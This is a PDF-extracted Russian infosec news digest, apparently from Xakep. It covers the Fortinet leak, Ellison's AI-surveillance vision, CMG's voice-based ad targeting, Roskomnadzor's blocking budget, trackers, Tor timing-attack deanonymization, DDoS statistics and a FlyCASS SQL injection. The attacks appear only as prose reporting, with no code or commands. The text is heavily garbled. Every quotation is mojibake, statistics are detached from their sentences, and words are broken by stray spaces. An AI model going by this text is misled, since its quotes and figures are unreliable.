Lazy Koala YoroTrooper Sticky Werewolf Hellhounds (Ex)Cobalt

ДАННЫЕ FORTINET
ИБ-ком пания Fortinet приз нала, что пос тра дала от утеч ки дан ных. Дело в том,
что 12 сен тября 2024 года зло умыш ленник под ником Fortibitch заявил, что
похитил 440 ГБ дан ных с при над лежаще го ком пании сер вера Azure Sharepoint
и слил эту информа цию на хакер ском форуме.

«
»

«Íåêèé ÷åëîâåê ïîëó÷èë íåñàí êöè îíè ðîâàí íûé äîñ òóï ê îãðà íè÷åí- 
íîìó êîëè÷åñ òâó ôàé ëîâ, õðà íèâ øèõñÿ íà ñåð âåðå êîì ïàíèè Fortinet
â ñòî ðîí íåì îáëà÷íîì ôàé ëîâîì õðà íèëè ùå, ãäå ñîäåð æàëèñü äàí- 
íûå, ñâÿ çàí íûå ñ íåáîëü øèì êîëè÷åñ òâîì (ìåíåå 0,3%) êëè åíò ñêîé
áàçû Fortinet», — ñîîá ùèëè ïðåä ñòà âèòå ëè êîì ïàíèè â áëî ãå.

Под черки вает ся, что эта ата ка не зат ронула деятель ность, про дук ты и услу ги
Fortinet, а так же не было обна руже но никаких приз наков несан кци они рован- 
ного дос тупа к дру гим ресур сам ком пании.

Так же в Fortinet завери ли, что инци дент не явля ется вымога тель ской ата- 
кой и не свя зан с раз верты вани ем шиф роваль щика. В нас тоящее вре мя зло- 
умыш ленник уже лишил ся дос тупа к дан ным, а ком пания уве доми ла о слу чив- 
шемся пра воох ранитель ные орга ны.

Че ловек под ником Fortibitch заявил, что ском про мети ровал при над- 
лежащий ком пании инстанс Azure Sharepoint. Хакер откры то поделил ся учет- 
ными дан ными для бакета S3, где были выложе ны 440 ГБ укра ден ных у ком- 
пании дан ных.

Fortibitch утвер жда ет, что сна чала пытал ся получить от Fortinet выкуп (ско рее
все го, угро жая опуб ликовать укра ден ные дан ные), одна ко в ком пании отка- 
зались пла тить.

Так же хакер обви нил ком панию в том, что она не подала заяв ление
по фор ме 8-K в Комис сию по цен ным бумагам и бир жам США, как дол жна
была по закону, что поз волило бы пре дуп редить об ата ке акци оне ров и кли- 
ентов.

В ответ на это в Fortinet заяви ли, что, «учи тывая огра ничен ный харак тер
инци ден та», он вряд ли мог ока зать сущес твен ное вли яние на финан совое
положе ние ком пании или ее деятель ность, поэто му фор ма 8-K не тре бует ся.

ЛАРРИ ЭЛЛИСОН О МАССОВОЙ СЛЕЖКЕ В БУДУЩЕМ
Ос нователь Oracle, один из богатей ших людей мира Лар ри Элли сон (Larry Ellison) поделил ся
сво им видени ем будуще го с исполь зовани ем ИИ. Во вре мя сес сии обще ния с инвесто рами
Элли сон опи сал мир, в котором ИИ-сис темы будут пос тоян но сле дить за людь ми с помощью
обширной сети камер и дро нов. И яко бы это гаран тиру ет, что полиция и граж дане не будут
нарушать закон.

→ «Полиция будет вес ти себя наилуч шим обра зом, ведь мы пос тоян но наб- 
люда ем и записы ваем все, что про исхо дит. Граж дане будут вес ти себя наилуч- 
шим обра зом, потому что мы пос тоян но фик сиру ем и сооб щаем обо всем, что
про исхо дит. Это безуп речно».

При этом Элли сон опи сыва ет ситу ацию, при которой записи с камер будут хра нить ся и ана- 
лизи ровать ся не полицей ским депар тамен том, а, нап ример, самой Oracle и ее ИИ-сис темами:

→ «Полицей ский может ска зать: „Oracle, мне нуж но две минуты, что бы схо дить
в туалет“, что бы мы вык лючили камеру. Но на самом деле мы ее не вык люча ем.
Мы записы ваем, но так, что бы ник то не мог это го уви деть, что бы ник то не мог
получить дос туп к этой записи без судеб ного орде ра. Таким обра зом, вы
получа ете кон фиден циаль ность, о которой про сили, все толь ко по решению
суда, а мы (судья) можем раз решить так называ емый перерыв на туалет. Мы
не будем слу шать без судеб ного орде ра. Но переда ем видео в штаб-квар тиру,
и искусс твен ный интеллект пос тоян но монито рит видео.

Это не люди смот рят в камеры, это ИИ смот рит в камеру. (Если что-то про- 
изой дет), сра бота ет опо веще ние, и у нас будет кон троль. Каж дый полицей ский
будет под пос тоян ным над зором».

Так же Элли сон добавил, что для быс тро го реаги рова ния на инци ден ты и наб людения дол жны
при менять ся авто ном ные дро ны:

→ «У нас есть дро ны. Дрон вылета ет нам ного быс трее полицей ской машины.
Не дол жно быть ско рос тных авто мобиль ных погонь. Вы прос то зас тавля ете дрон
сле довать за авто моби лем, это очень прос то. Нуж но новое поколе ние авто ном- 
ных дро нов».

ОНИ СЛУШАЮТ ТЕБЯ
В рас поряже нии изда ния 404 Media ока зал ся  Cox
Media Group (CMG). В нем утвер жда ется, что ком пания может тар гетиро вать
рек ламу, осно выва ясь на том, что потен циаль ные покупа тели говорят вслух
воз ле мик рофонов сво их устрой ств. Кро ме того, Google, Amazon, Bing и дру- 
гие ком пании наз ваны в докумен те пар тне рами CMG.

до кумент-пре зен тация

В декаб ре прош лого года изда ние уже рас ска зыва ло о рек ламиру емой CMG
фун кци ональ нос ти под наз вани ем Active Listening («Активное прос лушива- 
ние»). Тог да жур налис ты исполь зовали матери алы с сай та CMG, но пос ле
пуб ликации статьи ком пания уда лила эту информа цию. Так, рань ше на сай те
CMG было написа но:

«
»

«Êàê áû ýòî îòðà çèëîñü íà âàøåì áèç íåñå, åñëè áû âû ìîã ëè òàð- 
ãåòèðî âàòü ïîòåí öèàëü íûõ êëè åíòîâ, êîòîðûå àêòèâíî îáñóæäà þò ïîò- 
ðåáíîñòü â âàøèõ óñëó ãàõ â ïîâ ñåäíåâ íûõ ðàç ãîâîðàõ? Íåò, ýòî íå
ýïè çîä „×åð íîãî çåð êàëà“ — ýòî ãîëîñî âûå äàí íûå, è CMG îáëà äàåò
âîç ìîæíîñ òÿìè äëÿ èõ èñïîëü çîâàíèÿ â èíòå ðåñàõ âàøåãî áèç íåñà».

Те перь же в рас поряже нии редак ции ока залась рек ламная пре зен тация, пос- 
вящен ная Active Listening. Отме чает ся, что эта пре зен тация была отправ лена
как минимум одной ком пании, которой пред ста вите ли CMG рас счи тыва ли
про дать свои услу ги.

«

»

«Óìíûå óñòðîé ñòâà ñîáèðà þò äàí íûå î íàìåðå íèÿõ â ðåæèìå ðåàëü- 
íîãî âðå ìåíè, ïðîñ ëóøèâàÿ íàøè ðàç ãîâîðû. Ðåê ëàìîäà òåëè ìîãóò
ñîïîñ òàâëÿòü ýòè ãîëîñî âûå äàí íûå ñ ïîâåäåí ÷åñêè ìè ïîêàçà òåëÿ ìè,
÷òî áû òàð ãåòèðî âàòü ïîò ðåáèòå ëåé íà ðûí êå. Ìû èñïîëü çóåì ÈÈ
äëÿ ñáî ðà ýòèõ äàí íûõ èç 470+ èñòî÷íè êîâ, ÷òî áû óëó÷ øèòü ðàç âåðòû- 
âàíèå, òàð ãåòèíã è ýôôåêòèâ íîñòü êàì ïàíèé», — ãëà ñèò ïåð âûé ñëàéä
ïðå çåí òàöèè CMG.

В докумен те не ска зано, отку да имен но CMG яко бы получа ет эти голосо вые
дан ные (то есть не перечис лены, к при меру, кон крет ные мар ки умных телеви- 
зоров, колонок или опре делен ные при ложе ния для смар тфо нов). Зато сооб- 
щает ся, что CMG исполь зует голосо вые дан ные для выяв ления ауди тории,
которая «готова к покуп ке», а затем сос тавля ет спи сок таких поль зовате лей
и переда ет его рек ламным плат формам для пос леду юще го тар гетиро вания
рек ламы.

В докумен те утвер жда ется, что за 100 дол ларов в день CMG может тар- 
гетиро вать людей в ради усе 10 миль (16 км) или за 200 дол ларов в день —
20 миль (32 км).

Как уже было ска зано выше, CMG утвер жда ет, что сот рудни чает с Google,
Amazon и Facebook (при над лежит Meta Platforms, деятель ность которой приз- 
нана экс тре мист ской и зап рещена в Рос сии). Ско рее все го, в дан ном кон тек- 
сте речь идет о рек ламе в целом, а не кон крет но о про дук те Active Listening.
Но пре зен тация гла сит, что CMG явля ется:

ведущим пар тне ром прог раммы Premier Partner Google, то есть вхо дит
в 3% самых успешных рек ламных ком паний в кон крет ной стра не;

•

пер вым меди апар тне ром Amazon Advertising;•
одной из пер вых меди аком паний, став ших мар кетин говым пар тне ром
Facebook.

•

Пос ле того как жур налис ты 404 Media опуб ликова ли свой матери ал и свя- 
зались с ком пани ями для получе ния ком мента риев, Google исклю чила CMG
из сво ей пар тнерской прог раммы.

«
»

«Âñå ðåê ëàìîäà òåëè äîë æíû ñîá ëþäàòü âñå äåé ñòâó þùèå çàêîíû
è ïðà âèëà, à òàê æå ïîëèòè êó Google Ads, è, êîã äà ìû âûÿâ ëÿåì ðåê- 
ëàìó èëè ðåê ëàìîäà òåëåé, íàðóøà þùèõ äàí íóþ ïîëèòè êó, ìû ïðè- 
íèìà åì ñîîò âåòñ òâó þùèå ìåðû», — ñîîá ùèëè â Google.

В Amazon заяви ли, что «Amazon Ads никог да не сот рудни чала с CMG в рам ках
этой прог раммы и не пла ниру ет это го делать». В ком пании добави ли, что,
если ста новит ся извес тно о том, что кто-то из пар тне ров наруша ет мар кетин- 
говые пра вила, Amazon может при нять соот ветс тву ющие меры.

Пред ста вите ли Meta (деятель ность Meta Platforms приз нана экс тре мист- 
ской и зап рещена в Рос сии) заяви ли, что не могут ком менти ровать информа- 
цию о кон крет ных акка унтах рек ламода телей, но отме тили, что рек ламода- 
тели дол жны иметь необ ходимые пра ва на исполь зование любых дан ных
в рам ках сво их кам паний.

Пос ле того как Google исклю чила CMG из пар тнерской прог раммы, в Meta
добави ли, что в нас тоящее вре мя про веря ют, не наруша ла ли CMG положе- 
ния и усло вия (Terms and conditions) ком пании, и заяви ли, что могут при нять
меры, если это будет необ ходимо.

 СТРОК УТЕКШИХ ДАННЫХÌÈËËÈÀÐÄ

По дан ным спе циалис тов InfoWatch, за пер вое полуго дие 2024 года в Рос сии было ском про- 
мети рова но  строк пер сональ ных дан ных, что на  боль ше, чем в ана- 
логич ном пери оде прош лого года.

986 мил лионов 33,8%

Уве личи лось и количес тво зарегис три рован ных инци ден тов: с начала года спе циалис ты выяви- 
ли  слу чаев уте чек дан ных — на  боль ше, чем в 2023 году.415 10,1%

При этом более полови ны это го объ ема приш лось на некий один инци дент, зарегис три рован- 
ный Рос комнад зором. Тог да было сра зу ском про мети рова но более  строк
дан ных.

500  мил лионов

Так же отме чает ся, что по ито гам пер вого полуго дия сущес твен но вырос ла и доля уте чек све- 
дений, содер жащих государс твен ную тай ну: с  до  от обще го объ ема утек ших дан ных.6,4 11,1%

Продолжение статьи →

https://xakep.ru/2024/09/18/pager-explotion-mg/
https://github.com/sickcodes/Docker-OSX
https://www.documentcloud.org/documents/25051283-cmg-pitch-deck-on-voice-data-advertising-active-listening
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60 МИЛЛИАРДОВ
НА ТСПУ
По информа ции СМИ, в федераль ном про екте «Инфраструк тура кибер- 
безопас ности» содер жится информа ция о том, что Рос комнад зор (РКН)
может пот ратить поч ти 60 мил лиар дов руб лей на обновле ние сис темы бло- 
киров ки интернет-ресур сов в Рунете — тех ничес ких средств про тиво дей- 
ствия угро зам (ТСПУ), уста нов ленных на сетях опе рато ров свя зи.

В пас порте федераль ного про екта «Инфраструк тура кибер безопас ности»,
вхо дяще го в наци ональ ный про ект «Эко номи ка дан ных и циф ровая тран- 
сфор мация государс тва», сооб щает ся, что РКН намерен модер низиро вать
ТСПУ, которые уста нав лива ются на сетях всех опе рато ров свя зи сог ласно
закону «о суверен ном Рунете», всту пив шему в силу 1 нояб ря 2019 года.

Нап ример, с 2025 по 2030 год пла ниру ется как модер низиро вать ранее
уста нов ленные ТСПУ, так и уста новить новые на узлах свя зи «с уче том раз- 
вития сетей и еже год ного рос та объ ема тра фика». На это за пять лет пред- 
полага ется выделить 58,97 мил лиар да руб лей из федераль ного бюд жета —
боль шую часть средств, зап ланиро ван ных на весь федераль ный про ект
(68,77 мил лиар да руб лей).

Так же в рам ках федераль ного про екта зап ланиро вано соз дание еди ной
плат формы для борь бы с мошен никами, которую пред полага ется раз- 
работать с учас тием опе рато ров и бан ков, и сис темы бло киров ки фишин- 
говых сай тов.

«

»

«Â öåëÿõ ìîäåð íèçàöèè ÒÑÏÓ ïëà íèðó åòñÿ çàêóï êà îáî ðóäî âàíèÿ
è ÏÎ, à òàê æå ðàñ øèðåíèå âîç ìîæíîñ òåé çà ñ÷åò ðàç ðàáîò êè íîâûõ
è àêòó àëè çàöèè ñóùåñ òâó þùèõ ñèã íàòóð. Ðàç âèòèå àâòî ìàòè çèðî âàí- 
íîé ñèñ òåìû îáåñ ïå÷åíèÿ áåçîïàñ íîñòè (ÀÑÁÈ — òàê îôè öèàëü íî
è íàçûâà åòñÿ ñèñ òåìà áëî êèðîâ êè ðåñóð ñîâ ÐÊÍ, êîòîðàÿ òàê æå äîë- 
æíà ïðî òèâîñ òîÿòü DDoS-àòà êàì) ïîç âîëèò óâå ëè÷èòü ïðî ïóñ êíóþ ñïî- 
ñîá íîñòü ÒÑÏÓ, óñòà íîâ ëåííûõ íà óçëàõ ñâÿ çè, äî 725,6 Òáèò/ñ
è ïîâûñèòü óðî âåíü ýôôåêòèâ íîñòè îãðà íè÷å íèÿ äîñ òóïà ê ñðåäñ òâàì
îáõî äà áëî êèðî âîê VPN äî 96%», — ãëà ñèò îïè ñàíèå ìåðîï ðèÿòèé
ôåäåðàëü íîãî ïðî åêòà.

В аппа рате вице-премь ера Дмит рия Гри горен ко про ком менти рова ли, что
финан совые парамет ры нац про екта «в нас тоящее вре мя про раба тыва ются»,
добавив, что до завер шения это го про цес са никакие мероп риятия под твер- 
дить не могут.

В свою оче редь, в пресс-служ бе РКН сооб щили, что обо рудо вание
для ТСПУ закупа ется и уста нав лива ется каж дый год с 2020 года и «это свя- 
зано с тем, что сети опе рато ров раз вива ются — количес тво тра фика рас тет,
узлы меня ются, добав ляют ся. ТСПУ дол жны соот ветс тво вать этим изме нени- 
ям».

При этом экспер ты полага ют, что модер низация ТСПУ может при вес ти
к тому, что VPN-сер висы потеря ют эффектив ность для дос тупа к зап рещен- 
ному кон тенту. К при меру, генераль ный дирек тор «Ком форте ла» Дмит рий
Пет ров счи тает, что модер низация ТСПУ усложнит обход бло киро вок.

«
»

«Ýòî áóäåò âîé íà ìå÷à è ùèòà, êîøåê è ìûøåé. Òåõ íè÷åñ êè ìîæ íî
äîñ òèãíóòü áëî êèðîâ êè 90% òðà ôèêà VPN-ñåð âèñîâ. Ïðè ýòîì ó òåõ,
êòî çàõî÷åò ïîëó÷àòü äîñ òóï ê çàá ëîêèðî âàí íûì ðåñóð ñàì, òàêàÿ âîç-
ìîæíîñòü òåõ íè÷åñ êè îñòà íåò ñÿ, íî ñòà íåò ñëîæ íåå è äîðîæå», —
ãîâîðèò Ïåò ðîâ.

ОНИ СЛЕДЯТ ЗА ТОБОЙ
Ис сле дова тели «Лабора тории Кас пер ско го» опуб ликова ли отчет о веб-тре кин ге в 2023–
2024 годах. В ком пании выяс нили, что  сно ва ста ла «лидером» в области монито рин га
поведе ния людей в интерне те.

Google

 тре кин говых сис тем попали в топы прак тичес ких всех реги онов, и  из них при над лежат ком- 
пании Google. Еще  тре кин говые сис темы, пред став ленные поч ти во всех реги онах, при над- 
лежат  и .
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New Relic Microsoft

Единс твен ный реги он, где тре керы Google не попали на пер вые мес та, — это СНГ. Здесь они
занима ют толь ко третье мес то со срав нитель но неболь шой долей  и ниже.9,30%

На пер вом мес те в СНГ рас положи лись тре керы  — . При этом сис- 
тема ком пании «Яндекс» не толь ко попала в топ-25 по СНГ, но и была замече на в иран ском
рей тин ге на чет вертом мес те ( ), на Ближ нем Вос токе ( ) и, конеч но, в Рос сии
на пер вом мес те с долей .

Yandex.Metrica 26,19%

4,90% 2,30%
26,43%

На вто ром мес те рей тин га СНГ находит ся тре кин говая сис тема сер висов  (при над- 
лежащая кор порации VK) — .

Mail.Ru
20,76%

Что каса ется Рос сии, здесь в топ-5 вхо дят исклю читель но локаль ные тре кин говые сис темы
 (26,43%),  (16,60%),  (6,16%),  (4,89%)

и  (4,80%).
Yandex.Metrica Mail.Ru Mediascope Sape.ru

Artificial Computation Intelligence

От меча ется, что наличие в рей тин ге локаль ных тре керов слу жит «показа телем тех нологи чес кой
раз витос ти реги она или стра ны», но так же это уве личи вает риск уте чек и спо соб но осла бить
ощу щение кон тро ля поль зовате ля над тем, кто собира ет его дан ные.

ДЕАНОНИМИЗАЦИЯ
В TOR
Раз работ чики Tor Project заверя ют поль зовате лей, что бра узер и сеть Tor
по-преж нему безопас ны. Дело в том, что недав но в сети появи лась информа- 
ция о том, что пра воох ранитель ные орга ны Гер мании и дру гих стран сов мес- 
тно работа ют над деано ними заци ей поль зовате лей с помощью атак по вре- 
мени (timing attack).

В  немец кого изда ния Panorama и рас сле дова тель- 
ско го YouTube-канала STRG_F появи лась информа ция о том, что Федераль- 
ное ведомс тво уго лов ной полиции Гер мании (BKA) и Генераль ная про кура- 
тура Фран кфур та-на-Май не сумели уста новить лич ность по мень шей мере
одно го поль зовате ля Tor. В качес тве клю ча к деано ними зации в пуб ликации
упо мина ется «timing-ана лиз».

сов мес тном док ладе

«
»

«Ïî âðå ìåí íûì õàðàê òåðèñ òèêàì îòäåëü íûõ ïàêåòîâ àíî íèì íûå
ñîåäè íåíèÿ ìîæ íî îòñëå äèòü äî êîí êðåò íîãî ïîëü çîâàòå ëÿ Tor, äàæå
åñëè ñîåäè íåíèÿ â ñåòè Tor øèô ðóþò ñÿ ìíî ãîê ðàòíî», — ñîîá ùàþò
æóð íàëèñ òû, îäíà êî íå ïîÿñ íÿþò, êàê èìåí íî ðàáîòà åò ýòà òåõ íèêà.

В теории дол госроч ное наб людение за опре делен ными тен денци ями, как это
пред полага ет методо логия timing-ана лиза, веро ятно, дей стви тель но может
дать наб людате лям опре делен ные под сказ ки о поль зовате лях, посыла ющих
тра фик в сеть.

По сути, нек то может добав лять свои ноды в сеть Tor и фик сировать вре мя
пос тупле ния пакетов в сеть и их выхода. Через некото рое вре мя, осно выва- 
ясь на получен ных вре мен ных парамет рах, мож но опре делить, кто под клю- 
чает ся к тому или ино му сер вису .onion.

При этом Мат тиас Маркс (Matthias Marx), пред ста витель извес тно го хакер- 
ско го сооб щес тва Chaos Computer Club (CCC), под твер дил СМИ, что име- 
ющиеся доказа тель ства (докумен ты и дру гая соб ранная жур налис тами
информа ция) «сви детель ству ют о том, что пра воох ранитель ные орга ны
в течение нес коль ких лет неод нократ но и успешно про води ли ата ки
на отдель ных поль зовате лей Tor с целью деано ними зации, исполь зуя для это- 
го timing-ана лиз».

В ответ на эту пуб ликацию коман да Tor сооб щила в бло ге, что все, кто
исполь зует пос ледние вер сии инс тру мен тов Tor Project, находят ся в безопас- 
ности, а ата ки по вре мени — это извес тная тех ника, от которой дав но сущес- 
тву ют эффектив ные средс тва защиты.

Спе циалис ты отме чают, что не видели всех докумен тов (хотя зап рашива ли
их у жур налис тов), но счи тают, что немец кая полиция смог ла вычис лить одно- 
го кон крет ного поль зовате ля Tor из-за того, что тот исполь зовал уста рев шее
ПО, а не из-за того, что пра воох раните ли вос поль зовались неиз вес тной уяз- 
вимостью или наш ли новое при мене ние ата кам по вре мени.

По информа ции немец ких иссле дова телей, timing-ата ка исполь зовалась
в про цес се рас сле дова ния в отно шении челове ка, извес тно го как Andres G.
Яко бы пра воох раните ли счи тали его опе рато ром onion-ресур са Boystown,
на котором раз мещались матери алы о сек суаль ном насилии над деть ми
(CSAM), то есть дет ская пор ногра фия.

Ут вер жда ется, что Andres G исполь зовал ано ним ный мес сен джер
Ricochet, который переда ет дан ные меж ду отпра вите лями и получа теля ми
пос редс твом Tor. Более того, утвер жда ется, что его вер сия мес сен дже ра
не мог ла защитить свои Tor-соеди нения от деано ними зации через ата ки
по вре мени, чем и вос поль зовалась полиция.

Яко бы немец кие влас ти заручи лись под дер жкой опе рато ра Telefónica,
который пре дос тавил дан ные обо всех кли ентах O2, под клю чав шихся к извес- 
тно му узлу Tor. Сопос тавле ние этой информа ции с дан ными timing-ана лиза
поз волило влас тям иден тифици ровать Andres G, который в ито ге был арес- 
тован, обви нен, осуж ден и зак лючен в тюрь му еще в 2022 году.

Раз работ чики Tor пишут, что опи сан ный метод вряд ли сви детель ству ет
об уяз вимос ти Tor, а Andres G исполь зовал уяз вимый Ricochet и был деано- 
ними зиро ван с помощью ата ки типа guard discovery. То есть полицей ские
сумели вычис лить вход ной (entry node) или сто роже вой узел (guard node),
который исполь зовал подоз рева емый для переда чи дан ных через сеть Tor.
Пос ле это го полиция мог ла зап росить у Telefónica спи сок або нен тов, которые
под клю чались к это му узлу, и в ито ге узна ла лич ность кон крет ного поль- 
зовате ля.

Раз работ чики счи тают, что Andres G исполь зовал ста рую вер сию Ricochet,
в которой не было защиты от подоб ных атак.

« »
«Ýòà çàùèòà ïðè ñóòñ òâó åò â Ricochet-Refresh, ïîä äåðæè âàåìîì ôîð êå
äàâ íî çàá ðîøåí íîãî ïðî åêòà Ricochet, íà÷èíàÿ ñ âåð ñèè 3.0.12,
âûïóùåí íîé â èþíå 2022 ãîäà», — ïèøóò îíè.

Пос ле пуб ликации док лада Panorama и STRG_F поль зовате ли Tor ста ли опа- 
сать ся того, что сеть может быть навод нена узла ми, кон тро лиру емы ми
полици ей, что пос тавит под угро зу их ано ним ность. Одна ко, по сло вам раз- 
работ чиков, количес тво узлов, необ ходимых для такой ата ки, дол жно быть
прос то гигант ским.

«

»

«Óòâåð æäå íèå î òîì, ÷òî ñåòü „íåç äîðîâà“, íå ñîîò âåòñ òâó åò äåé ñòâè- 
òåëü íîñ òè. Êîìàí äà Network Health âíåä ðèëà ïðî öåñ ñû äëÿ âûÿâ ëåíèÿ
áîëü øèõ relay-ãðóïï, êîòîðûå ìîãóò óïðàâëÿòü ñÿ îäíèì îïå ðàòî ðîì
èëè çëî óìûø ëåííè êàìè, è íå ïîç âîëÿ þò èì ïðè ñîåäè íèòü ñÿ ê ñåòè.
Â ðåçóëü òàòå áûëî âûÿâ ëåíî ìíî æåñ òâî îïàñ íûõ relay äëÿ óäà ëåíèÿ,
êîòîðûå çàòåì áûëè çàáàíå íû Directory Authorities. Ìíî ãèå èç íèõ,
ñêî ðåå âñå ãî, íå ïðåä ñòàâ ëÿëè ðåàëü íîé óãðî çû äëÿ ïîëü çîâàòå ëåé».

Кро ме того, в заяв лении Tor Project под черки вает ся, что опи сан ные жур- 
налис тами ата ки про исхо дили в пери од меж ду 2019 и 2021 годами, а с тех
пор сеть Tor зна читель но рас ширилась, и теперь осу щес твить ата ки по вре- 
мени ста ло гораз до слож нее.

DDOS-АТАКИ ВЫРОСЛИ НА 16%
В пер вом полуго дии 2024 года общее количес тво DDoS-атак на рос сий ские орга низа ции
вырос ло до  — это на  боль ше, чем за весь 2023 год.355 тысяч 16%

Глав ным трен дом пер вых шес ти месяцев года спе циалис ты ГК «Солар» наз вали 
 (ком бинации SYN Flood, UDP Flood, ICMP и так далее) с рекор дной мощ ностью,

но малой про дол житель ностью, которые гораз до слож нее обна ружить и отра зить.

муль тивек- 
торные ата ки

Мак сималь ная мощ ность одной ата ки вырос ла поч ти в  в срав нении с ана логич ным пери- 
одом прош лого года — до .

7 раз
1,2 Тбит/с

При этом мак сималь ная про дол житель ность DDoS-ата ки сни зилась более чем в  год
к году — до , а сред няя умень шилась в  — до .

3  раза
35 дней 24 раза 8 минут

(НЕ)БЕЗОПАСНОСТЬ
ВОЗДУШНОГО
ТРАНСПОРТА
ИБ-спе циалис ты наш ли уяз вимость в одной из клю чевых сис тем безопас- 
ности на воз душном тран спор те, поз воля ющую неав торизо ван ным лицам
миновать дос мотр в аэро пор тах и получать дос туп в кабины самоле тов.

Ис сле дова тели Иэн Кэр ролл (Ian Carroll) и Сэм Кар ри (Sam Curry) обна- 
ружи ли уяз вимость во FlyCASS — сто рон нем веб-сер висе, который часть
ави аком паний исполь зуют для управле ния прог раммой Known Crewmember
(KCM) и сис темой Cockpit Access Security System (CASS).

KCM — это про ект Адми нис тра ции тран спортной безопас ности США
(Transportation Security Administration, TSA), который поз воля ет пилотам
и борт про вод никам не про ходить дос мотр, а CASS поз воля ет лицен зирован- 
ным пилотам занимать мес та в кабинах самоле тов во вре мя путешес твий.

Сис тема KCM, управля емая ARINC (дочер ней ком пани ей Collins
Aerospace), про веря ет пол номочия сот рудни ков ави аком паний через спе- 
циаль ную онлайн-плат форму. Что бы миновать дос мотр, нуж но прой ти про- 
цесс про вер ки, который вклю чает в себя ска ниро вание штрих кода KCM
или ввод номера (ID) сот рудни ка, а затем и перек рес тную про вер ку через БД
ави аком пании. Ана логич ным обра зом сис тема CASS про веря ет пилотов,
если те хотят занять мес то в кабине во вре мя коман диров ки или путешес твия.

Ис сле дова тели обна ружи ли, что сис тема регис тра ции FlyCASS под верже- 
на проб леме SQL-инъ екций. С помощью это го бага экспер ты сумели вой ти
в сис тему с пра вами адми нис тра тора кон крет ной ави аком пании (Air Transport
International) и получи ли воз можность изме нять дан ные сот рудни ков. Так,
во вре мя тес тов иссле дова тели добави ли в сис тему фик тивно го сот рудни ка
с име нем и фамили ей Test TestOnly, а затем пре дос тавили этой учет ной
записи дос туп к KCM и CASS.

«
»

«Ëþáîé ÷åëîâåê, îáëà äàþùèé áàçîâû ìè çíà íèÿìè îá SQL-èíú åêöè ÿõ,
ìîã çàé òè íà ýòîò ñàéò è äîáàâèòü â KCM è CASS ëþáîãî æåëà þùå ãî,
÷òî ïîç âîëÿëî êàê ìèíîâàòü ïðî âåð êè áåçîïàñ íîñòè, òàê è ïîëó÷èòü
äîñ òóï â êàáèíû ïèëîòîâ êîì ìåð÷åñ êèõ àâè àëàé íåðîâ», — ðàñ ñêà çûâà- 
åò Êýð ðîëë.

Осоз нав всю серь езность ситу ации, иссле дова тели немед ленно сооб щили
об уяз вимос ти влас тям, свя зав шись с Минис терс твом внут ренней безопас- 
ности США (DHS) 23 апре ля 2024 года. Спе циалис ты решили не обра щать ся
непос редс твен но к адми нис тра ции сай та FlyCASS, так как ресур сом, судя
по все му, управля ет один человек, и они соч ли, что информа ции о проб леме
может его напугать.

В резуль тате в DHS приз нали серь езность уяз вимос ти и под твер дили, что
FlyCASS был отклю чен от сис темы KCM/CASS 7 мая 2024 года в качес тве
меры пре дос торож ности. Вско ре пос ле это го уяз вимость во FyCASS была
устра нена. Одна ко с даль нейшим рас кры тием уяз вимос ти воз никли слож- 
ности, так как пос ле это го пред ста вите ли DHS перес тали отве чать на пись ма
Кэр ролла и Кар ри.

Пресс-служ ба Адми нис тра ции тран спортной безопас ности США и вов се
нап равила иссле дова телям офи циаль ное заяв ление, в котором отри цала
воз можные пос ледс твия от уяз вимос ти, утвер ждая, что сущес тву ющие про- 
вер ки пре дот вра щают потен циаль ный несан кци они рован ный дос туп. К тому
же пос ле получе ния информа ции от экспер тов TSA тихо уда лила со сво его
сай та информа цию, которая про тиво речи ла этим заяв лени ям.

«
»

«Êîã äà ìû óâå äîìè ëè TSA î ïðîá ëåìå, îíè óäà ëèëè ðàç äåë ñâî åãî
ñàé òà, ãäå óïî ìèíà ëàñü íåîá õîäèìîñòü ðó÷ íîãî ââî äà ID ñîò ðóäíè êà,
è íå îòâå òèëè íà íàøå ñîîá ùåíèå. Ìû óáå äèëèñü, ÷òî èíòåðôåéñ,
èñïîëü çóåìûé TSO, ïî�ïðåæ íåìó ïîç âîëÿ åò ââî äèòü èäåí òèôèêà òîðû
ñîò ðóäíè êîâ âðó÷ íóþ», — ãîâîðèò Êýð ðîëë.

Так же Кэр ролл под черки вает, что уяз вимость мог ла при вес ти к мас штаб ным
наруше ниям безопас ности, нап ример к изме нению сущес тву ющих про филей
чле нов KCM, что поз воляло обма нуть любые про вер ки, пре дус мотрен ные
для новых учас тни ков.

При этом в TSA по-преж нему отри цают опас ность уяз вимос ти, най ден ной
спе циалис тами.

«

»

«Â àïðå ëå 2024 ãîäà Àäìè íèñ òðà öèè òðàí ñïîðòíîé áåçîïàñ íîñòè ÑØÀ
ñòà ëî èçâåñ òíî îá îáíà ðóæå íèè óÿç âèìîñ òè â ñòî ðîí íåé ÁÄ, ñîäåð- 
æàùåé èíôîðìà öèþ î ÷ëå íàõ ýêè ïàæåé ñàìîëå òîâ, è î òîì, ÷òî
â ðåçóëü òàòå òåñ òèðîâà íèÿ ýòîé óÿç âèìîñ òè â ñïè ñîê ÷ëå íîâ ýêè ïàæåé
â áàçå áûëî äîáàâ ëåíî íåï ðîâåðåí íîå èìÿ. Íèêàêèå ïðà âèòåëü ñòâåí- 
íûå äàí íûå èëè ñèñ òåìû íå áûëè ñêîì ïðî ìåòè ðîâà íû, è ýòè äåé ñòâèÿ
íå ïîâ ëèÿëè íà òðàí ñïîðòíóþ áåçîïàñ íîñòü, — çàÿâ ëÿåò ïðåññ�ñåê- 
ðåòàðü TSA. — TSA íå ïîëàãà åòñÿ èñêëþ ÷èòåëü íî íà ýòó áàçó äàí íûõ
äëÿ ïðî âåð êè ëè÷ íîñòåé ÷ëå íîâ ýêè ïàæåé. Â TSA ñóùåñ òâó þò ïðî öåäó- 
ðû ïðî âåð êè ëè÷ íîñòè ÷ëå íîâ ýêè ïàæåé, è òîëü êî ïðî âåðåí íûì ÷ëå- 
íàì ýêè ïàæåé ðàç ðåøåí äîñ òóï â áåçîïàñ íûå çîíû â àýðî ïîð òàõ. TSA
ñîò ðóäíè ÷àëî ñ çàèí òåðåñî âàí íûìè ñòî ðîíà ìè äëÿ óñòðà íåíèÿ âñåõ
âûÿâ ëåííûõ êèáåðó ÿçâè ìîñ òåé».

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Unicorn похища ет дан ные рос сий ских орга низа ций

Вы мога тель RansomHub зло упот ребля ет Kaspersky TDSSKiller для отклю чения ERD

Android-мал варь SpyAgent рас позна ет и вору ет дан ные с изоб ражений

Ха керы исполь зовали про бель ные сим волы Брай ля для атак на Windows

Для Flipper Zero выш ла про шив ка вер сии 1.0

